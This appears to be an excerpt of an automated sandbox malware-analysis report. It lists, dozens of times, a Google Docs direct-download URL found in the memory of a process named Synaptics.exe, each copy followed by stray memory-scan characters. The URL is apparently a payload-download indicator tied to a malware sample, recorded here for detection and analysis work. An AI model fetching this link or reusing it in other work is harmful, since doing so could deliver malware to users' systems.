Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download30
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download34
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3l
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3lss
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download41638Z
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download44
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4;
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4a
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5E.
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6U-run
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download79
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7:8
Source: Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7S
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7j
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7jC
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7jo
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9D
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:;5
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;S9
Source: Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;obj
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=82
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=Q
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=ltr
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?$s
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA-Mo
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadADB
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAVA
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3017903336.000000001D6FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBm
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC:
Source: Synaptics.exe, 00000002.00000002.2959950848.000000000532C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCS/
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCo
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCo?
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCoulf
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDN
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDNt
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe0
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe8
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeD
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeX
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDed
Source: Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeg
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDel
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
